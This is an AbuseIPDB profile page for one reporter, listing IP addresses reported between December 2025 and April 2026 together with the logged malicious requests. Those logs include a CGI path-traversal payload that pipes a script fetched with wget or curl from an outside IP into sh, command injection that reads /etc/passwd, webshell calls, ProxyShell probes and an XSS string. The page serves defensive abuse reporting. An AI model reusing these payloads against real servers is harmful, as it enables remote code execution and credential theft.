AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User TM joined AbuseIPDB in August 2019 and has reported 4,890 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇺🇸 20.64.105.6	16 Apr 2026	/autodiscover/autodiscover.json?@zdi/Powershell	Hacking Web App Attack
🇬🇧 172.236.16.29	16 Apr 2026	/.git/config	Web App Attack
🇺🇸 47.253.246.87	15 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh	Hacking Web App Attack
🇺🇸 67.205.183.67	15 Apr 2026	/.git/config	Web App Attack
🇮🇪 20.107.203.74	15 Apr 2026	//wp-content/uploads/2021/02/index.php	Hacking Web App Attack
🇺🇸 34.106.191.236	14 Apr 2026	/.git/config	Web App Attack
🇺🇸 47.253.246.87	14 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https ... show more /cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://46.151.182.82/sh \|\| curl -sk https://46.151.182.82/sh) \| sh -s apache.selfrep) show less	Hacking Web App Attack
🇬🇧 82.24.64.32	13 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://4 ... show more /cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://46.151.182.82/sh \|\| curl -sk https://46.151.182.82/sh) \| sh -s apache.selfrep) show less	Hacking Web App Attack
🇫🇷 51.103.82.36	10 Apr 2026	//wp-content/uploads/2021/02/index.php	Hacking Web App Attack
🇬🇧 185.38.148.2	10 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://4 ... show more /cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://46.151.182.82/sh \|\| curl -sk https://46.151.182.82/sh) \| sh -s apache.selfrep) show less	Hacking Web App Attack
🇫🇷 167.86.96.161	09 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh	Web App Attack
🇺🇸 20.80.88.197	09 Apr 2026	/autodiscover/autodiscover.json?@zdi/Powershell	Web App Attack
🇺🇸 20.64.105.126	05 Dec 2025	GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1	Hacking Web App Attack
🇺🇸 160.153.180.216	05 Dec 2025	POST /cgi-bin/../../../../../../../../../bin/sh HTTP/1.1	Hacking Web App Attack
🇺🇸 20.98.140.180	05 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇫🇷 84.247.174.47	04 Dec 2025	GET /local/moodle_webshell/webshell.php?action=exec&cmd=id HTTP/1.1	Hacking Web App Attack
🇺🇸 160.153.180.216	04 Dec 2025	GET /cgi-bin/../../../../../../../../../etc/hosts HTTP/1.1	Hacking Web App Attack
🇺🇸 172.174.236.9	04 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇻🇳 130.94.3.22	03 Dec 2025	GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='&cat /etc/passwd&'&PW HTTP/1.1	Hacking Web App Attack
🇧🇷 155.2.219.223	03 Dec 2025	GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os- ... show more GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1,md5&enc-algo=aes-128-cbc,aes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("XSS")</script></svg>&domain=(empty_domain)&computer=computer HTTP/1.1 show less	Hacking Web App Attack
🇺🇸 172.202.117.213	03 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇳🇱 213.209.157.254	02 Dec 2025	GET /.git/index HTTP/1.1	Web App Attack
🇧🇷 155.2.219.119	02 Dec 2025	GET /.htpasswd HTTP/1.1	Hacking Web App Attack
🇺🇸 74.7.242.2	02 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇧🇷 45.171.255.203	01 Dec 2025	POST /cgi-bin/../../../../../../../../../../bin/sh HTTP/1.1	Hacking Web App Attack